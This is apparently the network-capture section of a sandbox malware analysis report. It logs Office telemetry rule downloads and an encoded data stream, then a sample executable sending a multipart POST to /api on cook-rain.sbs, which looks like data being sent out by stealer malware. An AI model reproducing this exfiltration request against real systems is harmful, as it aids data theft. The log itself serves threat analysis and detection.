2024-11-20 23:03:01 UTC	980	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 23:03:01 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=5ef0rh3he61mj4dmn7k6gkeppf; expires=Sun, 16-Mar-2025 16:49:40 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=gwZqytIHs8%2BbarwoJGEL8QZh8B5uwvJBq6E%2F2DnWiEBhnBO9Kg49EJEO5AxUgklmdROAudJgtwC4OFFrrhWqUmcncVYEpmLNud03cGvF6uV9%2FvxftYRVWj9lWM9zh1a1"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8e5c122659ca0fa3-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1583&sent=5&recv=7&lost=0&retrans=0&sent_bytes=2829&recv_bytes=950&delivery_rate=1894873&cwnd=238&unsent_bytes=0&cid=ebd4e8f4c6234f38&ts=769&x=0"
2024-11-20 23:03:01 UTC	389	IN	Data Raw: 34 64 63 0d 0a 4e 43 46 54 6c 48 49 57 52 35 6d 2b 6e 4b 64 7a 6e 76 4e 4a 75 38 48 54 67 5a 6b 76 65 68 2f 6d 4a 47 4f 54 32 33 47 55 4d 59 4a 50 41 79 57 32 53 43 4a 72 75 38 33 35 68 55 6e 71 67 54 7a 65 37 66 48 67 2f 51 31 41 65 59 64 49 45 50 62 33 55 2b 4a 63 6f 41 35 48 4d 76 67 42 63 32 75 37 32 2b 53 46 53 63 57 49 61 39 36 76 38 62 75 37 53 68 42 39 68 30 67 42 38 72 41 65 35 46 33 68 58 45 30 30 2f 42 64 31 49 2f 6a 53 38 63 49 57 2b 35 49 6a 31 61 69 2b 36 66 51 4e 56 6a 32 44 58 6b 47 70 2b 54 7a 78 52 65 4e 35 51 43 44 2f 55 47 74 72 34 70 7a 35 79 56 47 6b 30 53 6a 65 6f 37 2f 6e 2f 55 51 53 64 34 35 41 41 50 65 78 41 66 31 58 36 6c 78 44 4e 2f 30 64 66 44 66 31 32 50 62 4a 45 50 47 53 61 35 66 6a 74 76 75 37 46 56 67 75 74 6b 55 51 34 4b Data Ascii: 4dcNCFTlHIWR5m+nKdznvNJu8HTgZkveh/mJGOT23GUMYJPAyW2SCJru835hUnqgTze7fHg/Q1AeYdIEPb3U+JcoA5HMvgBc2u72+SFScWIa96v8bu7ShB9h0gB8rAe5F3hXE00/Bd1I/jS8cIW+5Ij1ai+6fQNVj2DXkGp+TzxReN5QCD/UGtr4pz5yVGk0Sjeo7/n/UQSd45AAPexAf1X6lxDN/0dfDf12PbJEPGSa5fjtvu7FVgutkUQ4K
2024-11-20 23:03:01 UTC	862	IN	Data Raw: 56 6b 4e 78 75 46 42 7a 50 62 75 45 76 75 59 55 37 4a 59 6e 7a 2b 47 4c 6f 2b 51 44 41 54 32 44 53 6b 47 70 2b 52 76 7a 55 4f 4e 64 54 44 4c 2b 47 32 59 6c 36 64 72 7a 77 41 50 36 6c 43 58 54 6f 4b 50 70 39 55 73 62 64 49 39 50 42 50 61 39 55 37 67 54 35 30 34 44 61 62 59 78 65 53 37 33 31 75 6e 46 55 65 50 66 4d 70 6d 6b 76 61 4f 6a 44 52 78 38 67 45 63 46 2f 37 63 58 2b 6c 58 75 57 30 77 33 2f 42 42 7a 4c 2f 50 55 2f 38 67 61 38 35 45 75 31 4b 65 33 37 2f 70 49 57 44 50 45 51 52 6d 78 34 56 50 59 56 4f 4e 45 41 51 54 31 48 6e 6f 69 37 5a 7a 68 69 77 69 38 6c 69 65 5a 2b 2f 48 74 2f 6b 49 4b 66 4a 5a 44 44 2b 4f 31 46 76 42 65 34 31 68 44 4e 50 45 64 65 69 50 38 33 2f 62 42 45 50 4b 64 49 64 71 6e 73 71 4f 31 44 52 39 6c 78 42 35 42 77 4c 6f 58 38 55 48 Data Ascii: VkNxuFBzPbuEvuYU7JYnz+GLo+QDAT2DSkGp+RvzUONdTDL+G2Yl6drzwAP6lCXToKPp9UsbdI9PBPa9U7gT504DabYxeS731unFUePfMpmkvaOjDRx8gEcF/7cX+lXuW0w3/BBzL/PU/8ga85Eu1Ke37/pIWDPEQRmx4VPYVONEAQT1Hnoi7Zzhiwi8lieZ+/Ht/kIKfJZDD+O1FvBe41hDNPEdeiP83/bBEPKdIdqnsqO1DR9lxB5BwLoX8UH
2024-11-20 23:03:01 UTC	1369	IN	Data Raw: 33 61 65 34 0d 0a 65 53 72 79 31 66 66 58 47 2f 43 66 4f 64 53 70 74 4f 33 33 53 42 64 39 68 55 63 50 2b 37 4a 54 75 42 50 6e 54 67 4e 70 74 6a 39 35 4e 65 6e 57 39 64 52 54 79 5a 49 6c 31 36 53 6e 6f 2b 51 44 41 54 32 44 53 6b 47 70 2b 52 6a 77 58 2b 78 57 52 53 50 34 48 32 59 76 36 64 6a 77 77 52 33 79 6d 43 62 57 70 71 50 6e 2b 31 38 5a 65 49 4e 49 44 4f 4f 38 55 37 67 54 35 30 34 44 61 62 59 71 51 43 4c 72 7a 66 6d 48 4a 50 2b 66 4a 64 36 31 38 66 79 31 56 46 68 36 69 41 5a 5a 73 62 6f 66 2b 31 72 6c 57 56 45 37 2b 68 46 6d 49 76 4c 56 39 4d 51 66 38 35 6f 6e 33 4c 47 36 37 50 4e 43 47 58 43 4a 54 51 58 78 2b 56 32 32 56 50 67 57 47 33 48 58 48 58 73 33 2b 4d 32 38 38 42 4c 79 6e 79 7a 50 34 36 36 74 34 67 30 66 63 63 51 65 51 66 43 31 48 2f 64 63 35 Data Ascii: 3ae4eSry1ffXG/CfOdSptO33SBd9hUcP+7JTuBPnTgNptj95NenW9dRTyZIl16Sno+QDAT2DSkGp+RjwX+xWRSP4H2Yv6djwwR3ymCbWpqPn+18ZeINIDOO8U7gT504DabYqQCLrzfmHJP+fJd618fy1VFh6iAZZsbof+1rlWVE7+hFmIvLV9MQf85on3LG67PNCGXCJTQXx+V22VPgWG3HXHXs3+M288BLynyzP466t4g0fccQeQfC1H/dc5
2024-11-20 23:03:01 UTC	1369	IN	Data Raw: 39 47 33 41 68 2b 39 48 31 79 78 2f 31 6e 53 50 56 70 4b 50 75 2f 6b 55 53 64 49 46 4b 44 50 4b 72 45 50 63 54 72 68 5a 45 4b 62 5a 49 4e 41 4c 49 36 39 32 46 44 72 4b 49 61 39 36 76 38 62 75 37 54 42 42 36 69 6b 49 54 2f 36 73 64 38 56 50 6d 58 6b 73 32 2b 68 35 36 4e 2f 50 64 2f 73 73 65 39 4a 67 76 32 4b 65 31 37 2f 77 4e 56 6a 32 44 58 6b 47 70 2b 54 76 31 53 66 6f 55 62 54 72 32 46 32 51 7a 34 4a 7a 68 69 77 69 38 6c 69 65 5a 2b 2f 48 6e 38 45 63 52 66 6f 31 43 44 50 47 77 48 50 39 62 37 56 35 52 4d 50 77 43 63 43 44 36 30 2f 54 42 47 66 43 65 4a 39 32 78 75 71 4f 31 44 52 39 6c 78 42 35 42 30 62 49 46 31 55 48 79 46 6c 78 2f 37 31 42 7a 4b 62 75 45 76 73 77 64 2f 5a 41 68 33 36 69 30 37 76 74 49 45 6e 71 49 52 67 48 79 76 78 58 37 57 2b 68 61 54 7a Data Ascii: 9G3Ah+9H1yx/1nSPVpKPu/kUSdIFKDPKrEPcTrhZEKbZINALI692FDrKIa96v8bu7TBB6ikIT/6sd8VPmXks2+h56N/Pd/sse9Jgv2Ke17/wNVj2DXkGp+Tv1SfoUbTr2F2Qz4Jzhiwi8lieZ+/Hn8EcRfo1CDPGwHP9b7V5RMPwCcCD60/TBGfCeJ92xuqO1DR9lxB5B0bIF1UHyFlx/71BzKbuEvswd/ZAh36i07vtIEnqIRgHyvxX7W+haTz
2024-11-20 23:03:01 UTC	1369	IN	Data Raw: 4c 66 44 61 38 4d 51 58 38 4a 78 72 6c 2b 4f 32 2b 37 73 56 57 46 71 65 53 77 66 6d 71 43 62 78 55 37 45 57 58 48 2f 76 55 48 4d 70 75 34 53 2b 79 42 33 32 6e 43 37 64 71 37 62 67 2b 6b 45 63 63 49 6c 43 43 50 57 38 41 65 52 56 37 6c 5a 4d 50 2f 6b 63 5a 69 76 2b 33 50 4b 46 58 37 79 57 4d 35 6e 37 38 64 4c 73 54 56 68 69 79 6c 39 42 39 72 56 54 72 68 50 76 57 31 45 39 2b 52 42 31 4a 76 2f 58 2b 63 4d 58 2f 5a 49 75 32 71 61 33 34 76 74 42 45 6e 71 4d 54 41 2f 38 76 78 66 77 56 61 41 59 41 7a 62 75 55 43 78 6c 79 64 48 77 7a 42 4c 36 6e 44 33 78 6b 76 48 38 74 56 52 59 65 6f 67 47 57 62 47 39 47 50 35 66 35 56 35 47 4d 50 34 61 66 43 72 30 7a 76 2f 4b 47 50 75 61 4a 74 61 74 74 4f 33 70 53 68 4e 32 6a 45 38 50 39 2f 6c 64 74 6c 54 34 46 68 74 78 77 42 4e Data Ascii: LfDa8MQX8Jxrl+O2+7sVWFqeSwfmqCbxU7EWXH/vUHMpu4S+yB32nC7dq7bg+kEccIlCCPW8AeRV7lZMP/kcZiv+3PKFX7yWM5n78dLsTVhiyl9B9rVTrhPvW1E9+RB1Jv/X+cMX/ZIu2qa34vtBEnqMTA/8vxfwVaAYAzbuUCxlydHwzBL6nD3xkvH8tVRYeogGWbG9GP5f5V5GMP4afCr0zv/KGPuaJtattO3pShN2jE8P9/ldtlT4FhtxwBN
2024-11-20 23:03:01 UTC	1369	IN	Data Raw: 50 72 4c 41 2f 32 65 61 35 66 6a 74 76 75 37 46 56 68 4d 6b 6b 45 47 2f 76 73 36 38 55 6a 68 58 45 41 36 2b 6c 42 72 61 2b 4b 63 2b 63 6c 52 70 4e 45 6d 31 61 36 31 38 66 64 4e 47 48 53 44 54 42 50 2b 74 68 37 31 55 2b 56 45 51 69 50 35 47 33 45 6d 2f 39 50 78 79 52 6e 32 30 57 57 5a 70 4b 6d 6a 6f 77 30 30 66 70 56 4d 51 39 61 6a 42 66 46 66 38 56 31 4f 50 62 59 50 4f 6a 79 37 32 2f 4b 46 53 62 79 52 4b 74 53 78 74 4f 4c 78 52 78 56 31 69 30 4d 45 2f 72 30 58 2f 56 33 79 57 45 77 78 38 42 74 31 49 50 6a 58 39 4d 73 59 37 74 46 6c 6d 61 53 70 6f 36 4d 4e 4d 6d 61 46 53 77 32 7a 6c 78 6a 67 56 4b 4a 33 54 54 72 78 48 47 4a 6c 35 4a 4c 6e 68 52 62 77 30 58 4f 5a 71 72 2f 76 2b 45 6f 51 64 59 46 47 43 76 47 32 47 66 68 55 38 6c 78 50 4f 2b 51 66 64 79 6a 2f Data Ascii: PrLA/2ea5fjtvu7FVhMkkEG/vs68UjhXEA6+lBra+Kc+clRpNEm1a618fdNGHSDTBP+th71U+VEQiP5G3Em/9PxyRn20WWZpKmjow00fpVMQ9ajBfFf8V1OPbYPOjy72/KFSbyRKtSxtOLxRxV1i0ME/r0X/V3yWEwx8Bt1IPjX9MsY7tFlmaSpo6MNMmaFSw2zlxjgVKJ3TTrxHGJl5JLnhRbw0XOZqr/v+EoQdYFGCvG2GfhU8lxPO+Qfdyj/
2024-11-20 23:03:01 UTC	1369	IN	Data Raw: 69 38 6c 69 65 5a 2b 2f 48 6a 2f 30 45 62 65 6f 70 4a 44 50 36 2b 47 50 6c 5a 37 6b 52 4d 4e 50 34 63 66 43 6a 70 31 76 54 58 47 50 57 63 4a 64 47 78 73 71 4f 31 44 52 39 6c 78 42 35 42 77 37 4d 51 2b 6b 58 74 57 51 4d 75 75 41 6b 30 49 76 65 63 70 6f 55 44 37 70 45 67 32 61 53 2f 38 66 70 46 46 33 65 45 51 41 72 37 75 68 72 79 58 65 6c 51 51 6a 7a 33 45 58 51 67 2b 39 58 73 79 46 47 79 30 53 7a 42 34 2b 6d 6a 7a 45 45 54 54 49 64 51 51 65 37 33 43 72 5a 55 37 42 59 62 63 66 63 43 65 53 33 2f 33 50 50 44 47 76 32 51 4b 4e 6d 6a 73 75 50 2b 52 68 64 37 67 30 73 4c 2b 4c 41 42 2f 6c 66 79 56 6b 38 31 74 6c 34 30 49 75 4f 63 70 6f 55 68 2f 35 6f 6e 32 61 36 6b 6f 2b 51 44 41 54 32 44 53 6b 47 70 2b 52 76 39 57 4f 5a 64 51 44 4c 34 47 33 34 71 39 4e 62 34 77 Data Ascii: i8lieZ+/Hj/0EbeopJDP6+GPlZ7kRMNP4cfCjp1vTXGPWcJdGxsqO1DR9lxB5Bw7MQ+kXtWQMuuAk0IvecpoUD7pEg2aS/8fpFF3eEQAr7uhryXelQQjz3EXQg+9XsyFGy0SzB4+mjzEETTIdQQe73CrZU7BYbcfcCeS3/3PPDGv2QKNmjsuP+Rhd7g0sL+LAB/lfyVk81tl40IuOcpoUh/5on2a6ko+QDAT2DSkGp+Rv9WOZdQDL4G34q9Nb4w
2024-11-20 23:03:01 UTC	1369	IN	Data Raw: 6d 30 71 2f 7a 34 76 5a 64 48 7a 33 4b 42 67 65 78 34 55 4f 34 45 2b 52 48 41 32 6d 6d 51 69 39 77 71 49 75 75 6c 77 36 79 69 47 76 50 34 2b 6d 78 74 51 30 4b 50 64 77 47 52 76 4b 72 41 66 42 51 39 6c 55 45 44 38 67 77 66 79 6e 34 30 50 2f 43 55 62 4c 52 4a 4a 6e 37 69 4b 50 34 58 77 6f 79 6c 56 41 4d 34 62 35 66 2f 6b 4c 74 57 67 4e 2f 74 6c 78 77 4c 76 66 5a 2b 64 56 65 37 6f 45 67 31 62 58 39 35 2b 6b 4e 56 6a 32 56 54 51 37 6a 74 78 53 35 51 76 5a 62 55 7a 4c 7a 46 7a 67 74 36 74 48 79 68 56 2b 38 68 43 44 56 70 62 7a 32 74 46 77 4f 66 70 4a 42 54 66 6d 6f 48 76 6f 54 33 78 67 44 4b 62 5a 49 4e 42 44 34 30 76 44 43 42 2b 33 63 43 39 4b 76 73 75 2f 36 53 6c 67 7a 78 45 42 42 71 65 70 64 74 6c 66 78 46 68 74 68 70 45 73 68 64 71 79 4d 72 4e 70 66 35 64 Data Ascii: m0q/z4vZdHz3KBgex4UO4E+RHA2mmQi9wqIuulw6yiGvP4+mxtQ0KPdwGRvKrAfBQ9lUED8gwfyn40P/CUbLRJJn7iKP4XwoylVAM4b5f/kLtWgN/tlxwLvfZ+dVe7oEg1bX95+kNVj2VTQ7jtxS5QvZbUzLzFzgt6tHyhV+8hCDVpbz2tFwOfpJBTfmoHvoT3xgDKbZINBD40vDCB+3cC9Kvsu/6SlgzxEBBqepdtlfxFhthpEshdqyMrNpf5d
2024-11-20 23:03:01 UTC	1369	IN	Data Raw: 36 62 43 31 44 51 6f 39 33 41 5a 47 2f 37 51 53 39 56 33 6a 52 46 45 33 39 51 5a 33 59 73 58 69 32 38 67 63 2b 5a 38 73 35 35 32 51 36 65 74 41 46 33 71 36 65 44 62 67 76 67 4f 30 64 65 4e 41 51 48 47 34 55 47 78 6c 6f 35 7a 66 7a 77 48 78 6e 69 79 5a 37 66 48 6e 75 78 56 59 57 49 6c 4c 42 50 2b 2b 55 64 64 5a 38 46 74 4d 4e 72 5a 65 4e 43 6d 37 68 4c 37 45 47 2b 79 63 4a 4e 37 76 74 76 6e 38 44 56 59 39 69 67 5a 5a 73 62 67 5a 35 6c 37 76 55 51 38 33 2b 42 34 30 4f 72 58 46 76 74 4e 52 70 4d 4a 6c 6d 62 48 78 75 37 73 4b 46 6e 43 46 52 51 2f 79 71 77 48 77 55 50 5a 56 42 41 2f 49 4e 58 6b 6f 2f 74 4c 35 2b 79 2f 64 6d 7a 76 55 72 4c 61 68 32 30 6f 4f 66 72 70 34 4e 75 43 2b 41 37 52 31 34 30 42 41 63 62 68 51 62 47 57 6a 6e 4e 2f 50 41 66 47 65 4c 4a 75 Data Ascii: 6bC1DQo93AZG/7QS9V3jRFE39QZ3YsXi28gc+Z8s552Q6etAF3q6eDbgvgO0deNAQHG4UGxlo5zfzwHxniyZ7fHnuxVYWIlLBP++UddZ8FtMNrZeNCm7hL7EG+ycJN7vtvn8DVY9igZZsbgZ5l7vUQ83+B40OrXFvtNRpMJlmbHxu7sKFnCFRQ/yqwHwUPZVBA/INXko/tL5+y/dmzvUrLah20oOfrp4NuC+A7R140BAcbhQbGWjnN/PAfGeLJu

Session ID	Source IP	Source Port	Destination IP	Destination Port
3	192.168.2.7	49708	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-20 23:03:01 UTC	192	OUT	GET /rules/rule120608v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-20 23:03:02 UTC	494	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 23:03:02 GMT Content-Type: text/xml Content-Length: 2160 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:03 GMT ETag: "0x8DC582BA3B95D81" x-ms-request-id: 7268c357-001e-0066-5863-3b561e000000 x-ms-version: 2018-03-28 x-azure-ref: 20241120T230302Z-178bfbc474bgvl54hC1NYCsfuw00000000g000000000nyhe x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-20 23:03:02 UTC	2160	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 30 38 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 44 43 61 3d 22 50 53 55 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 30 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 32 22 20 52 3d 22 31 32 30 36 37 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 33 22 20 52 3d 22 31 32 30 36 31 30 22 20 2f 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 34 22 20 52 3d 22 31 32 30 36 31 32 22 20 2f 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 35 22 20 52 3d 22 31 32 30 36 31 34 22 20 2f 3e 0d 0a 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120608" V="0" DC="SM" T="Subrule" DCa="PSU" xmlns=""> <S> <R T="1" R="120609" /> <R T="2" R="120679" /> <R T="3" R="120610" /> <R T="4" R="120612" /> <R T="5" R="120614" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
4	192.168.2.7	49704	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-20 23:03:01 UTC	192	OUT	GET /rules/rule224902v2s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-20 23:03:02 UTC	470	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 23:03:02 GMT Content-Type: text/xml Content-Length: 450 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:25 GMT ETag: "0x8DC582BD4C869AE" x-ms-request-id: ac6669be-e01e-003c-668c-3ac70b000000 x-ms-version: 2018-03-28 x-azure-ref: 20241120T230302Z-1777c6cb754ww792hC1TEBzqu40000000a4g000000008mr2 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-20 23:03:02 UTC	450	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 32 32 34 39 30 32 22 20 56 3d 22 32 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 31 30 30 22 20 2f 3e 0d 0a 20 20 20 20 3c 55 54 53 20 54 3d 22 32 22 20 49 64 3d 22 62 62 72 35 71 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 53 20 54 3d 22 33 22 20 47 3d 22 7b 61 33 36 61 39 37 30 64 2d 34 35 61 39 2d 34 65 30 64 2d 39 63 61 62 2d 32 61 32 33 35 63 63 39 64 37 63 36 7d 22 20 2f 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 47 22 20 49 3d 22 30 22 20 4f 3d 22 66 61 6c 73 65 4e Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="224902" V="2" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120100" /> <UTS T="2" Id="bbr5q" /> <SS T="3" G="{a36a970d-45a9-4e0d-9cab-2a235cc9d7c6}" /> </S> <C T="G" I="0" O="falseN

Session ID	Source IP	Source Port	Destination IP	Destination Port
5	192.168.2.7	49705	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-20 23:03:01 UTC	192	OUT	GET /rules/rule120600v4s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-20 23:03:02 UTC	494	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 23:03:02 GMT Content-Type: text/xml Content-Length: 2980 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:10 GMT ETag: "0x8DC582BA80D96A1" x-ms-request-id: 884d2a23-a01e-00ab-5b8c-3a9106000000 x-ms-version: 2018-03-28 x-azure-ref: 20241120T230302Z-r1d97b99577ckpmjhC1TEBrzs000000009hg00000000e7ch x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-20 23:03:02 UTC	2980	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 30 30 22 20 56 3d 22 34 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 53 79 73 74 65 6d 2e 53 79 73 74 65 6d 48 65 61 6c 74 68 4d 65 74 61 64 61 74 61 44 65 76 69 63 65 43 6f 6e 73 6f 6c 69 64 61 74 65 64 22 20 41 54 54 3d 22 63 64 38 33 36 36 32 36 36 31 31 63 34 63 61 61 61 38 66 63 35 62 32 65 37 32 38 65 65 38 31 64 2d 33 62 36 64 36 63 34 35 2d 36 33 37 37 2d 34 62 66 35 2d 39 37 39 32 2d 64 62 66 38 65 31 38 38 31 30 38 38 2d 37 35 32 31 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 44 43 61 3d 22 44 43 22 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120600" V="4" DC="SM" EN="Office.System.SystemHealthMetadataDeviceConsolidated" ATT="cd836626611c4caaa8fc5b2e728ee81d-3b6d6c45-6377-4bf5-9792-dbf8e1881088-7521" SP="CriticalBusinessImpact" DL="A" DCa="DC"

Session ID	Source IP	Source Port	Destination IP	Destination Port
6	192.168.2.7	49706	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-20 23:03:01 UTC	193	OUT	GET /rules/rule120402v21s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-20 23:03:02 UTC	494	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 23:03:02 GMT Content-Type: text/xml Content-Length: 3788 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:17 GMT ETag: "0x8DC582BAC2126A6" x-ms-request-id: f909c6c7-c01e-0049-518c-3aac27000000 x-ms-version: 2018-03-28 x-azure-ref: 20241120T230302Z-1777c6cb7549j9hhhC1TEBzmcc0000000a2g00000000umwd x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-20 23:03:02 UTC	3788	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 34 30 32 22 20 56 3d 22 32 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 53 79 73 74 65 6d 2e 53 79 73 74 65 6d 48 65 61 6c 74 68 55 6e 67 72 61 63 65 66 75 6c 41 70 70 45 78 69 74 44 65 73 6b 74 6f 70 22 20 41 54 54 3d 22 63 64 38 33 36 36 32 36 36 31 31 63 34 63 61 61 61 38 66 63 35 62 32 65 37 32 38 65 65 38 31 64 2d 33 62 36 64 36 63 34 35 2d 36 33 37 37 2d 34 62 66 35 2d 39 37 39 32 2d 64 62 66 38 65 31 38 38 31 30 38 38 2d 37 35 32 31 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 43 65 6e 73 75 73 22 20 44 4c 3d 22 41 22 20 44 43 61 3d 22 50 53 50 22 20 78 6d 6c 6e 73 3d 22 22 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120402" V="21" DC="SM" EN="Office.System.SystemHealthUngracefulAppExitDesktop" ATT="cd836626611c4caaa8fc5b2e728ee81d-3b6d6c45-6377-4bf5-9792-dbf8e1881088-7521" SP="CriticalCensus" DL="A" DCa="PSP" xmlns=""

Session ID	Source IP	Source Port	Destination IP	Destination Port
7	192.168.2.7	49707	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-20 23:03:01 UTC	192	OUT	GET /rules/rule120609v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-20 23:03:02 UTC	491	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 23:03:02 GMT Content-Type: text/xml Content-Length: 408 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:33 GMT ETag: "0x8DC582BB56D3AFB" x-ms-request-id: a3d07856-b01e-0084-3a7e-3bd736000000 x-ms-version: 2018-03-28 x-azure-ref: 20241120T230302Z-1777c6cb754b7tdghC1TEBwwa40000000ab000000000hmew x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-11-20 23:03:02 UTC	408	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 30 39 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 38 32 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 5e 28 5b 44 64 5d 5b 45 65 5d 5b 4c 6c 5d 5b 4c 6c 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 65 22 3e 0d 0a 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120609" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120682" /> <SR T="2" R="^([Dd][Ee][Ll][Ll])"> <S T="1" F="0" M="Ignore" /> </SR> </S> <C T="W" I="0" O="true">

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
8	192.168.2.7	49709	188.114.96.3	443	7720	C:\Users\user\Desktop\file.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-20 23:03:02 UTC	274	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=CXE75KVNCCIC7 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 12820 Host: cook-rain.sbs
